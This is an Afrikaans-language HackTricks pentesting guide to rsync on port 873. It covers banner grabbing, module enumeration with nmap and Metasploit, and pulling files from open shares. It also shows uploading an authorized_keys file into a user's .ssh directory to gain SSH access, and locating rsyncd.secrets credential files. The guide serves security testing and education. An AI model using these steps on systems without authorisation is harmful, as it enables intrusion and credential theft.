hacktricks/network-services-pentesting/873-pentesting-rsync.md
2024-02-11 02:07:06 +00:00

173 lines
9.2 KiB
Markdown

# 873 - Pentesting Rsync
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
## **Basiese Inligting**
Vanaf [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** is 'n hulpmiddel vir doeltreffende [oorplasing](https://en.wikipedia.org/wiki/File\_transfer) en [sinsronisering](https://en.wikipedia.org/wiki/File\_synchronization) van [lêers](https://en.wikipedia.org/wiki/Computer\_file) tussen 'n rekenaar en 'n eksterne harde skyf en oor [netwerkgekoppelde](https://en.wikipedia.org/wiki/Computer\_network) [rekenaars](https://en.wikipedia.org/wiki/Computer) deur die [wyzigingstye](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) en groottes van lêers te vergelyk.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Dit word algemeen gevind op [Unix-soortgelyke](https://en.wikipedia.org/wiki/Unix-like) [bedryfstelsels](https://en.wikipedia.org/wiki/Operating\_system). Die rsync-algoritme is 'n tipe [delta-kodering](https://en.wikipedia.org/wiki/Delta\_encoding) en word gebruik om netwerkgebruik te verminder. [Zlib](https://en.wikipedia.org/wiki/Zlib) kan gebruik word vir addisionele [datakompressie](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) en [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) of [stunnel](https://en.wikipedia.org/wiki/Stunnel) kan gebruik word vir sekuriteit.
**Verstekpoort:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Opname
### Baniere & Handleiding kommunikasie
Die eerste stap in die opname van 'n rsync-diens is om die baniere en handleiding kommunikasie te ondersoek. Hierdie inligting kan waardevolle inligting verskaf oor die diens en moontlike kwesbaarhede.
#### Baniere
Om die baniere van 'n rsync-diens te ondersoek, kan jy die volgende opdrag gebruik:
```bash
nc <target_ip> <target_port>
```
As jy 'n suksesvolle verbinding maak, sal jy die baniere van die rsync-diens sien. Hierdie inligting kan nuttig wees om die spesifieke weergawe van die rsync-diens te identifiseer en moontlike kwesbaarhede te vind.
#### Handleiding kommunikasie
Om die handleiding kommunikasie van 'n rsync-diens te ondersoek, kan jy die volgende opdrag gebruik:
```bash
rsync <target_ip>::
```
Hierdie opdrag sal 'n lys van beskikbare modules vir die rsync-diens gee. Dit kan nuttige inligting verskaf oor die struktuur en inhoud van die diens.
### Portskandering
Die volgende stap in die opnameproses is om die poorte van die rsync-diens te skandeer om te bepaal watter poorte oop is en beskikbaar is vir kommunikasie.
Jy kan 'n skandering van die poorte uitvoer deur die volgende opdrag te gebruik:
```bash
nmap -p <port_range> <target_ip>
```
Vervang `<port_range>` met die spesifieke poortreeks wat jy wil skandeer, en `<target_ip>` met die IP-adres van die teikenstelsel.
Die resultate van die poortskandering kan aandui watter poorte oop is en moontlik toegang tot die rsync-diens bied.
### Module-analise
Nadat jy 'n lys van beskikbare modules vir die rsync-diens verkry het, kan jy elke module ondersoek om te bepaal watter aksies en funksies beskikbaar is.
Om 'n spesifieke module te ondersoek, kan jy die volgende opdrag gebruik:
```bash
rsync <target_ip>::<module_name>
```
Vervang `<target_ip>` met die IP-adres van die teikenstelsel en `<module_name>` met die naam van die spesifieke module wat jy wil ondersoek.
Hierdie analise kan jou help om die funksionaliteit en moontlike kwesbaarhede van elke module te verstaan.
### Verkenning van kwesbaarhede
Nadat jy die rsync-diens ondersoek het, kan jy spesifieke kwesbaarhede verken om toegang tot die stelsel te verkry.
Hier is 'n paar algemene kwesbaarhede wat jy kan ondersoek:
- **Geen wagwoord vereis**: Sommige rsync-dienskonfigurasies mag nie 'n wagwoord vereis nie, wat beteken dat jy sonder verifikasie toegang kan verkry.
- **Onveilige oorskrywing**: As die rsync-diens oorskrywing toelaat, kan jy moontlik skadelike lêers oorskryf en uitvoerbaar maak.
- **Onveilige lêerhantering**: As die rsync-diens nie behoorlike lêerhantering toepas nie, kan jy moontlik toegang verkry tot gevoelige lêers of lêers wat nie bedoel is om gedeel te word nie.
Deur hierdie kwesbaarhede te ondersoek, kan jy moontlik toegang tot die stelsel verkry en verdere aanvalle uitvoer.
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Opsomming van Gedeelde Lêers**
**Rsync-modules** word erken as **gidsaandele** wat moontlik **met wagwoorde beskerm** kan word. Om beskikbare modules te identifiseer en te kontroleer of hulle wagwoorde vereis, word die volgende opdragte gebruik:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Wees bewus dat sommige aandele moontlik nie in die lys verskyn nie en moontlik versteek is. Daarbenewens kan toegang tot sommige aandele beperk word tot spesifieke **geloofsbriewe**, aangedui deur 'n **"Toegang Geweier"** boodskap.
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Handleiding Rsync Gebruik
Na die verkryging van 'n **modulelys**, hang die aksies af van of verifikasie nodig is. Sonder verifikasie word **lysmaak** en **kopiëring** van lêers van 'n gedeelde vouer na 'n plaaslike gids bereik deur middel van:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Hierdie proses oordra **rekursief lêers**, met behoud van hul eienskappe en regte.
Met **volmagte**, kan die lys en aflaai vanuit 'n gedeelde vouer so gedoen word, waar 'n wagwoordversoek sal verskyn:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Om inhoud soos 'n _**authorized_keys**_ lêer vir toegang te **oplaai**, gebruik:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Om die rsyncd-konfigurasie-lêer op te spoor, voer die volgende uit:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Binne hierdie lêer kan 'n _secrets-lêer_ parameter na 'n lêer verwys wat **gebruikersname en wagwoorde** vir rsyncd-verifikasie bevat.
## Verwysings
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
</details>